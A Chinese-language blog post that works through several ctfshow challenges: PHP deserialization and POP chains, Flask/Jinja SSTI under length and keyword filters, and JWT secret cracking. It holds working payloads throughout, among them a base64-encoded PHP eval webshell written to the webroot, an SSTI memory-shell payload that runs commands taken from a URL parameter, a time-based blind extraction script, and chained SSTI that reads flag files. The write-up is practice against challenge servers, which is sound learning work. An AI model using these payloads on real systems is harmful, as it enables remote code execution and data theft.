友情提示:本文最后更新于 317 天前,文中的内容可能已有所发展或发生改变。 给我看看 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<? php
header ( "Content-Type: text/html;charset=utf-8" );
error_reporting ( 0 );
require_once ( "flag.php" );
class whoami {
public $name ;
public $your_answer ;
public $useless ;
public function __construct (){
$this -> name = 'ctfshow第一深情' ;
$this -> your_answer = 'Only you know' ;
$this -> useless = "I_love_u" ;
}
public function __wakeup (){
global $flag ;
global $you_never_know ;
$this -> name = $you_never_know ;
if ( $this -> your_answer === $this -> name ){
echo $flag ;
}
}
}
$secret = $_GET [ 's' ];
if ( isset ( $secret )){
if ( $secret === "给我看看!" ){
extract ( $_POST );
if ( $secret === "给我看看!" ){
die ( "<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>" );
}
unserialize ( $secret );
}
} else {
show_source ( __FILE__ );
}
先赋值然后就if,进来就看到可以进行参数覆盖,绕过一下才可以进行反序列化,不过这个绕过很简单,随便写点啥即可,强等于才可以获得flag,这里直接进行引用就可以了
1
2
3
4
5
6
7
8
9
10
11
<? php
class whoami {
public $name ;
public $your_answer ;
public $useless ;
public function __construct (){
$this -> your_answer =& $this -> name ;
}
}
echo serialize ( new whoami ());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /?s=%E7%BB%99%E6%88%91%E7%9C%8B%E7%9C%8B! HTTP / 1.1
Host : 4138c4c1-2ab2-49bb-b09c-a70b15bb4511.challenge.ctf.show
Content-Length : 130
Pragma : no-cache
Cache-Control : no-cache
Sec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile : ?0
Sec-Ch-Ua-Platform : "Windows"
Origin : https://4138c4c1-2ab2-49bb-b09c-a70b15bb4511.challenge.ctf.show
Content-Type : application/x-www-form-urlencoded
Upgrade-Insecure-Requests : 1
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site : same-origin
Sec-Fetch-Mode : navigate
Sec-Fetch-Dest : document
Referer : https://4138c4c1-2ab2-49bb-b09c-a70b15bb4511.challenge.ctf.show/
Accept-Encoding : gzip, deflate
Accept-Language : zh-CN,zh;q=0.9,en;q=0.8
Priority : u=0, i
Connection : close
secret=O%3A6%3A%22whoami%22%3A3%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A11%3A%22your_answer%22%3BR%3A2%3Bs%3A7%3A%22useless%22%3BN%3B%7D
easyPOP 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<? php
highlight_file ( __FILE__ );
error_reporting ( 0 );
class action_1 {
public $tmp ;
public $fun = 'system' ;
public function __call ( $wo , $jia ){
call_user_func ( $this -> fun );
}
public function __wakeup (){
$this -> fun = '' ;
die ( "阿祖收手吧,外面有套神" );
}
public function __toString (){
return $this -> tmp -> str ;
}
}
class action_2 {
public $p ;
public $tmp ;
public function getFlag (){
if ( isset ( $_GET [ 'ctfshow' ])) {
$this -> tmp = $_GET [ 'ctfshow' ];
}
system ( "cat /" . $this -> tmp );
}
public function __call ( $wo , $jia ){
phpinfo ();
}
public function __wakeup (){
echo "<br>" ;
echo "php版本7.3哦,没有人可以再绕过我了" ;
echo "<br>" ;
}
public function __get ( $key ){
$function = $this -> p ;
return $function ();
}
}
class action_3 {
public $str ;
public $tmp ;
public $ran ;
public function __construct ( $rce ){
echo "送给你了" ;
system ( $rce );
}
public function __destruct (){
urlencode ( $this -> str );
}
public function __get ( $jia ){
if ( preg_match ( "/action_2/" , get_class ( $this -> ran ))){
return "啥也没有" ;
}
return $this -> ran -> $jia ();
}
}
class action_4 {
public $ctf ;
public $show ;
public $jia ;
public function __destruct (){
$jia = $this -> jia ;
echo $this -> ran -> $jia ;
}
public function append ( $ctf , $show ){
echo "<br>" ;
echo new $ctf ( $show );
}
public function __invoke (){
$this -> append ( $this -> ctf , $this -> show );
}
}
if ( isset ( $_GET [ 'pop' ])){
$pop = $_GET [ 'pop' ];
$output = unserialize ( $pop );
if ( preg_match ( "/php/" , $output )){
echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件" ;
die ( "不可以用伪协议哦" );
}
}
看着好长,好久没看过这么长的了,pop链子是这样(今天不看了,头晕😪)
找了一条利用链,既可以直接调用system,也可以调用原生类
1
action_3 :: __destruct () -> action_1 :: __toString () -> action_2 :: __get () -> action_4 :: __invoke () -> action_4 :: append () -> action_3 :: __construct ()
写出poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<? php
class action_1 {
public $tmp ;
public $fun = 'system' ;
}
class action_2 {
public $p ;
public $tmp ;
}
class action_3 {
public $str ;
public $tmp ;
public $ran ;
}
class action_4 {
public $ctf ;
public $show ;
public $jia ;
}
$a = new action_3 ();
$a -> str = new action_1 ();
$a -> str -> tmp = new action_2 ();
$a -> str -> tmp -> p = new action_4 ();
$a -> str -> tmp -> p -> ctf = 'action_3' ;
$a -> str -> tmp -> p -> show = 'ls' ;
echo serialize ( $a );
但是死活找不到于是打算写个木马
1
echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==" | base64 - d > / var / www / html / shell . php
谁是CTF之王? 据说输入框是可以链起来的,这里就要扫一下了
1
dirsearch -u https://0c3f9caa-9f40-49dd-bfdf-65f383984dcf.challenge.ctf.show/
拿到了路由/source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from flask import Flask , render_template_string , request , send_from_directory
app = Flask ( __name__ )
@app.route ( '/' )
def index ():
return send_from_directory ( 'html' , 'index.html' )
@app.route ( '/ssti.html' )
def ssti ():
return send_from_directory ( 'html' , 'ssti.html' )
@app.route ( '/madlib' , methods = [ 'POST' ])
def madlib ():
if len ( request . json ) == 5 :
verb = request . json . get ( 'verb' )
noun = request . json . get ( 'noun' )
adjective = request . json . get ( 'adjective' )
person = request . json . get ( 'person' )
place = request . json . get ( 'place' )
params = [ verb , noun , adjective , person , place ]
if any ( len ( i ) > 21 for i in params ):
return 'your words must not be longer than 21 characters!' , 403
madlib = (
f 'To find out what this is you must { verb } the internet then get to the '
f ' { noun } system through the visual MAC hard drive and program the open-source '
f 'but overriding the bus won \' t do anything so you need to parse the online '
f 'SSD transmitter, then index the neural DHCP card { adjective } . '
f ' { person } taught me this trick when we met in { place } allowing you to download '
f 'the knowledge of what this is directly to your brain.'
)
return render_template_string ( madlib )
return 'This madlib only takes five words' , 403
@app.route ( '/source' )
def show_source ():
return send_from_directory ( '/app/' , 'app.py' )
if __name__ == '__main__' :
app . run ( '0.0.0.0' , port = 80 )
每个关键词长度限制为21,并且是模版渲染,所以可以打ssti,利用set进行关键词的拼接即可
1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://0c3f9caa-9f40-49dd-bfdf-65f383984dcf.challenge.ctf.show/madlib"
poc = {
"verb" : "{ %s et x=cycler%}" ,
"noun" : "{ %s et x=x.__init__%}" ,
"adjective" : "{ %s et x=x.__globals__" ,
"person" : "os.popen('cat f*')%}" ,
"place" : "{{x.read()}}"
}
r = requests . post ( url = url , json = poc )
print ( r . text )
因为cycler的很短所以直接用的这个,进行拼接即可,其中这个poc就是测试得到的,如果不这么写,就不满足要求了,无法绕过了
近在眼前 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from flask import Flask , render_template_string , request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
# 创建 Flask 应用实例
app = Flask ( __name__ )
# 设置速率限制器
limiter = Limiter (
app ,
key_func = get_remote_address , # 基于客户端 IP 地址限制请求
default_limits = [ "10000 per hour" ] # 设置默认限制为每小时 10,000 次请求
)
# 路由一:显示当前源代码
@limiter.limit ( "5/second" , override_defaults = True ) # 每秒最多允许 5 次请求
@app.route ( '/' )
def index ():
# 读取并返回当前源代码,以 HTML 格式显示
return (
" \x3c pre \x3e\x3c code \x3e %s \x3c /code \x3e\x3c /pre \x3e "
) % open ( __file__ ) . read () # 读取当前文件并嵌入到 HTML 模板中
# 路由二:提供 SSTI 检测功能
@limiter.limit ( "5/second" , override_defaults = True ) # 每秒最多允许 5 次请求
@app.route ( '/ssti' )
def check ():
# 读取 flag 值(从文件 /app/flag.txt 中)
flag = open ( "/app/flag.txt" , 'r' ) . read () . strip ()
# 检查是否存在输入参数 'input'
if "input" in request . args :
query = request . args [ "input" ] # 获取用户的输入
render_template_string ( query ) # 使用 render_template_string 渲染输入(存在安全风险)
return "Thank you for your input." # 返回感谢消息
return "No input found." # 如果没有提供 'input' 参数,返回提示信息
# 启动 Flask 应用
app . run ( '0.0.0.0' , 80 ) # 监听所有主机地址,使用 80 端口
进去之后得到源码,我觉得可以打一波内存马,当然盲注也是可以的
1
ssti?input{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
然后直接拿shell即可?cmd=ls,然后再来写个盲注脚本,使用cut进行切片
1
if [ ` cut - c 1 / app / flag . txt ` = \"c \" ];then sleep 2;fi'
这if还需要写结束语句,并且其中进行替换即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests as req
import time
char_set = "1234567890abcdefghijklmnopqrstuvwxyz- {} "
sess = req . session ()
flag = ""
for i in range ( 1 , 46 ):
for c in char_set :
url = r """http://56372510-315a-4d16-916d-28354adc4c0a.challenge.ctf.show/ssti?input={{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c %d /app/flag.txt` = \" %s \" ];then sleep 2;fi').read()")}}""" % (
i , c )
time . sleep ( 0.2 )
resp = sess . get ( url )
if resp . elapsed . seconds >= 2 :
print ( c )
flag += c
break
print ( flag )
通关大佬 有个jwt,进行密钥爆破,安装一个工具jwt-cracker
1
2
3
4
sudo apt install gcc
sudo apt install make
sudo apt install libssl-dev
make
现在就可以使用了
1
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoidXNlciIsImV4cCI6MTczNjU4NjY4Nn0.Bfbh5fr6StlgmBIxQQgmj_8GcLQh-OvcPp9_Z9VRrAU
得到密码为12345,伪造成admin之后进入发现是一个编辑框,然后随便发了一点东西就发现这个东西token直接失效了,也就是说要一直换token了,但是那个编辑框的漏洞还没有找到,后面看官方wp发现是ssti,进行拼接,条件说一下
<通关人>没任何过滤,但有长度限制,只能25个字符以内 <通关感言>有较严格的过滤,包括下划线、单双引号、request、中括号、百分号等一些关键字符 导致只通过其中一个输入框无法getshell,需要多个输入框进行配合getshell 这里选择了通过<通关人>和<通关感言>进行配合getshell,而其中比较重要的就是利用外带参数来利用了,cookie放我们伪造好的时间肯定够,并且登录之后会自动重定向到edit,这里才有cookie,所以脚本不是很好写,我就直接写poc了
1
2
3
4
/edit?a=__init__&b=__globals__&c=__getitem__&d=os&e=popen&f=cat /f*&g=read
POST:
name={%25set r=request.args%25}&rank=1&speech={{(config|attr(r.a)|attr(r.b))|attr(r.c)(r.d)|attr(r.e)(r.f)|attr(r.g)()}}&time=2021年11月11日
就可以拿到flag了
简单的验证码 进来得到了密码本,然后听了半天没有听出来,于是使用微信语音转文字,得到验证码31064126,进行bp爆破即可,结果一看爆破结果,他喵的,这个验证码,每次都不一样,我服了,只能手动爆破猜了
1
2
3
admin
admin888
123456
都不对,哎,绷不住了,看了官方wp是一个misc,但是我真的很想要这个100分,于是我决定手动爆破了,爆了十几个发现搞不下去了,太鸡儿难受了,于是开摆